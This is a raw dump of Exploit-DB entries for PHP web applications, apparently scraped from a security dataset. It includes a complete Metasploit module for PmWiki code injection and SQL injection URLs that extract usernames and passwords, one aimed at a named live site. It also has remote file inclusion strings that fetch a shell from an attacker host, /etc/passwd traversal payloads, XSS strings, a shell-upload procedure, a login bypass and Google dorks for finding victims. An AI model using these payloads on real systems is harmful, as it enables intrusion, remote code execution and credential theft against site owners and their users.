deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18243
Description: PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit)
Type: webapps
Platform: php
Date: 2011-12-14
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability
				in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
				inside /scripts/pagelist.php.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',  # Vulnerability discovery and exploit
					'TecR0c' # Metasploit Module
				],
			'References'     =>
				[
					['CVE', '2011-4453'],
					['BID', '50776'],
					['OSVDB', '77261'],
					['URL', 'http://www.exploit-db.com/exploits/18149/'],
					['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Keys'        => ['php'],
					'Space'       => 4000,
					'DisableNops' => true,
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Nov 09 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
			],self.class)
	end

	def check
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		p = Rex::Text.encode_base64(payload.encoded)
		header = rand_text_alpha_upper(3)
		header_append = rand_text_alpha_upper(4)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'

		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => uri,
			'vars_post' =>
				{
					'action' => 'edit',
					'post' => 'save',
					'n' => "#{header}.#{header_append}",
					'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
				}
			}, 25)

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => uri,
			'headers' =>
				{
					header => p,
					'Connection' => 'Close',
				},
			'vars_post' =>
				{
					'n' => "#{header}.#{header_append}",
				}
		}, 25)
	end
end
Exploit-DB #33754
Description: pMyAdmin 3.3.5.1 - 'db_create.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-12
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/38707/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpMyAdmin 3.3.0 is vulnerable; other versions may also be affected.

http://www.example.com/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation=
Exploit-DB #2407
Description: pNews 1.1.0 - 'nbs' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-21
Author: CvIr.System

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         PowerNews v1.1.0 (nbs) Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: PowerNews v1.1.0
                          Download..: http://sourceforge.net/project/showfiles.php?group_id=35550                           
			  Class .............: Remote File Inclusion                                     
                          Risk ..............: high                              
                          Found by ..........: CvIr.System                                                  
                          Contact ...........: CvIr.System[at]gmail.com                                   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                                
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
    die("config.php is writeable by your webserver, this is a possible security risk.");
}    

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/includes/global.php?nbs=[shell]? 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special GreetingS:_ANtrAX_|Azrael|her0|Matasanos|Ednux|4ur3v0ir|FR34K|Quetzal|Hanowars|xarnuz|Slappter|by_emR3|mnox|Malvinas|Txis|The Shredder|FaLeNcE

# milw0rm.com [2006-09-21]
Exploit-DB #6447
Description: pNews 2.03 - 'newsid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Powie's pNews v2.03 (newskom.php?newsid=) Remote SQL Injection Exploit

#
# Vendor:  http://www.powie.de

# 
#
###########################################################
#
# d0rk:n/a
#
###########################################################
 
     Exploit:-
	http://www.site.com/[script]/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/*

     
     
     Live Demo: 
	http://www.uni-leipzig.de/fsrpowi/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/*

     Admin panel is at http://site.com/script/admin/ 

     The password in in plain text :P	

###########################################################
#
#  Bug discovered : 12 Sep.2008
###########################################################

# milw0rm.com [2008-09-12]
Exploit-DB #5768
Description: pNews 2.08 - 'shownews' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-09
Author: Cr@zy_King

Exploit:
pNews 2.08 Remote SqL Ä°nj. VuLn.

OrginaL : http://biyosecurity.com & http://coderx.org

Cr@zy_King / sqL L0v3r'Z Crew Co. 2008

Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=

http://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*

Greatz : aLL My Friends :P 

# milw0rm.com [2008-06-09]
Exploit-DB #26036
Description: PNG Counter 1.0 - 'Demo.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-26
Author: ArCaX-ATH

Exploit:
source: https://www.securityfocus.com/bid/14392/info

PNG Counter is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input that will be output in dynamically generated Web pages.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. The attacker would need to entice the unsuspecting user to follow a malicious link containing script code embedded in the affected parameter. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

PNG Counter 1.0 is vulnerable to this issue. 

http://www.example.com/path/demo.php?digit=">XSS
Exploit-DB #2390
Description: PNPHPBB2 < 1.2g - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-18
Author: AzzCoder

Exploit:
Yeah, another ZeroDay Smile

Vendor: http://www.pnphpbb.com/

Vulnerable File: includes/functions_admin.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );

Method To Use:

http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

How To Fix:

Add this code before the include
Code:
if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}


Google Dork: Powered by PNphpBB2 / Powered por PNphpBB2

# milw0rm.com [2006-09-18]
Exploit-DB #4796
Description: PNPHPBB2 < 1.2i - 'PHPEx' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-26
Author: irk4z

Exploit:
.-----------------------------------------------------------------------------.
|  vuln.: PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.   |
|  download: http://www.pnphpbb.com/                                          |
|  dorks: Powered by PNphpBB2 / Powered por PNphpBB2                          |
|         inurl:"index.php?name=PNphpBB2"                                     |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|  greets to: str0ke, wacky, polish under ;]                                  |
'-----------------------------------------------------------------------------'

# code:

  /printview.php:
  ...
      define('IN_PHPBB', true);
      $ModName = basename( dirname( __FILE__ ) );
      $phpbb_root_path = './modules/' . $ModName . '/';
      include($phpbb_root_path . 'extension.inc');
      include($phpbb_root_path . 'common.'.$phpEx);
  ...
  
  LFI in $phpEx :D:D:D
  
# sploit:

http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]

# milw0rm.com [2007-12-26]
Exploit-DB #24783
Description: pntresmailer 6.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2004-11-26
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/11767/info

pnTresMailer is reported susceptible to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input data.

This vulnerability can be exploited to retrieve arbitrary, potentially sensitive files from the hosting computer with the privileges of the web server. This may aid a malicious user in further attacks.

Version 6.03 of the application is reportedly affected by this vulnerability.

http://www.example.com/codebrowserpntm.php?downloadfolder=pnTresMailer&filetodownload=../../../../etc/passwd
Exploit-DB #5200
Description: Podcast Generator 1.0 Beta 2 - Remote File Inclusion / File Disclosure
Type: webapps
Platform: php
Date: 2008-02-28
Author: GoLd_M

Exploit:
### Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities
### http://sourceforge.net/project/showfiles.php?group_id=163847
### POC :
### I- Remote File Inclusion Vulnerabilities
### /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/login.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/archive_cat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/recent_list.php?absoluteurl=shell
### II- Remote File Disclosure Vulnerabilities
### /podcastgen1.0beta2/core/themes.php?theme_path=../../../../../../../../../etc/passwd%00
### /podcastgen1.0beta2/download.php?filename=../../../../../../../../../etc/passwd
                                  @@@@@@@ ANA TRYAGI @@@@@@@

# milw0rm.com [2008-02-28]
Exploit-DB #16109
Description: Podcast Generator 1.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-04
Author: High-Tech Bridge SA

Exploit:
========================================
Vulnerability ID: HTB22801
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_podcast_generator.html
Product: Podcast Generator
Vendor: Alberto Betella ( http://podcastgen.sourceforge.net/ ) 
Vulnerable Version: 1.3
Vendor Notification: 20 January 2011 
Vulnerability Type: Local File Inclusion
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/core/language.php" script to properly sanitize user-supplied input in "scriptlang" variable.


http://[home]/core/language.php?scriptlang=../../../../../../../../etc/passwd%00


========================================
Vulnerability ID: HTB22800
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_podcast_generator.html
Product: Podcast Generator
Vendor: Alberto Betella ( http://podcastgen.sourceforge.net/ ) 
Vulnerable Version: 1.3
Vendor Notification: 20 January 2011 
Vulnerability Type: Path disclosure
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/core/episode.php" script to properly sanitize user-supplied input in "name" variable, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/core/episode.php?name=../config.php

Vulnerability ID: HTB22802
Reference: http://www.htbridge.ch/advisory/xss_in_podcast_generator.html
Product: Podcast Generator
Vendor: Alberto Betella ( http://podcastgen.sourceforge.net/ )
Vulnerable Version: 1.3
Vendor Notification: 20 January 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/core/themes.php" script to properly sanitize user-supplied input in "L_failedopentheme" variable when register_globals is on.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

http://[host]/core/themes.php?L_failedopentheme=%3Cscript%3Ealert%28%22X
SS%22%29;%3C/script%3E
Exploit-DB #26414
Description: PodHawk 1.85 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-06-24
Author: CWH Underground

Exploit:
# Exploit Title   : PodHawk Arbitary File Upload Vulnerability
# Date            : 23 June 2013
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://podhawk.sourceforge.net
# Software Link   : http://jaist.dl.sourceforge.net/project/podhawk/podhawk/podhawk_1_85/podhawk_1_85.zip
# Version         : 1.85
# Tested on       : Window and Linux
  
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
  
/podhawk/uploadify/uploadify.php (LINE: 33-44)
 
----------------------------------------------------------------------------- 
if (!empty($_FILES))
{
	if ($_GET['upload_type'] == 'audio')
	{
		$writable = 'upload';
		$targetPath = UPLOAD_PATH;
	}
	else
	{
		$writable = 'images';
		$targetPath = IMAGES_PATH;
	}
-----------------------------------------------------------------------------  
  
#####################################################
DESCRIPTION
#####################################################
  
This application has an upload feature that allows an authenticated user
with Administrator roles or User roles to upload arbitrary files cause remote code execution by simply request it.

#####################################################
EXPLOIT POC
#####################################################
  
1. Log On User account (Author) account
2. Access http://target/podhawk/podhawk/index.php?page=record1
3. Upload a file to the upload folder via "Browse"
4. Upload PHP shell (shell.php) and upload it
5. For access shell, http://target/podhawk/upload/shell.php
6. Server Compromised !!
  
################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Exploit-DB #11473
Description: Pogodny CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-16
Author: Ariko-Security

Exploit:
# Exploit Title: [Pogodny CMS SQL injection]
# Tested on: [freebsd / ubuntu]

============ { Ariko-Security - Advisory #2/2/2010 } =============

      SQL injection vulnerability in Pogodny CMS


Vendor's Description of Software:
# http://www.cms.michalin.pl/moduly/pogodny/  (PL)


Dork:
#pogodny CMS

Application Info:
# Name: pogodny CMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix: 
# N/A Vendor notified 08.02.2010

It was found that "pogodny CMS" does not validate properly the "id" parameter
value.

Solution:
# Input validation of "id" parameter should be corrected.


Vulnerability:
# http://server/?modul=niusy&id=61[Sqli]

Credit:
# Discoverd By: MG
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com


Ariko-Security
vuln@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #17141
Description: Point Market System 3.1x vBulletin plugin - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-10
Author: Net.Edit0r

Exploit:
#(+)Exploit Title: Point Market System 3.1x vbulletin plugin SQL
Injection Vulnerability
#(+)Author   : Net.Edit0r
#(+) E-mail  : Black.hat.tm@Gmail.com
#(+) dork    : intext:Point Market System 3.1x
#(+) Versian : [3.1x]
#(+) Category : Web Apps [SQl]
#(+) Platform : Tested on: linux
#(+) Download plugin : http://www.megaupload.com/?d=2R592KO0

____________________________________________________________________
____________________________________________________________________

You must register on the site !

The security problem in the file "market.Php" has been created. You
can disable this security problem Plagn take it away.

[~] Vulnerable File :

#      [+]http://localhost.com/market.php?do=cat&id=[SQL]

[~] SQL injection Vulnerability
	
#      [+]-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--

#      [+]http://localhost.com/market.php?do=cat&id=-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--

[~] Demo Vedio :

Vedio : http://www.multiupload.com/S28Z2FCZQD

[~] Full Info plugin Point Market

http://www.vbulletin.org/forum/showthread.php?p=2159503#post2159503

____________________________________________________________________
____________________________________________________________________

########################################################################
(+)IRANIAN Young HackerZ # Persian Gulf
(+)Black Hat Group Member : Net.Edit0r & DarkCoder & p3nt3st3r & H3x &
3H34N & D3adly #BHG
(+)Sp My Best Friend : HUrr!c4nE ~ b3hz4d ~ Virangar ~ S3cR3T ~ M4hd1
~ Mikili ~ P0W3RFU7 ~  Ali.Erroor and all Friends
(+)Gr33ts to : All Iranian HackerZ
########################################################################
Exploit-DB #49284
Description: Point of Sale System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-12-18
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Point of Sale System 1.0 - Authentication Bypass
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-17
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/9620/point-sale-system-pos.html
# Software Link: https://www.sourcecodester.com/download-code?nid=9620&title=Point+of+Sale+System+%28POS%29+using+PHP+with+Source+Code
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS
# Description: Easy authentication bypass vulnerability on the application allows an attacker to log in as Administrator.

Step 1: On the login page, simply use { ' or 0=0 # } as username

Step 2: On the login page, use same query{ ' or 0=0 # } as password

All set you should be logged in as Administrator.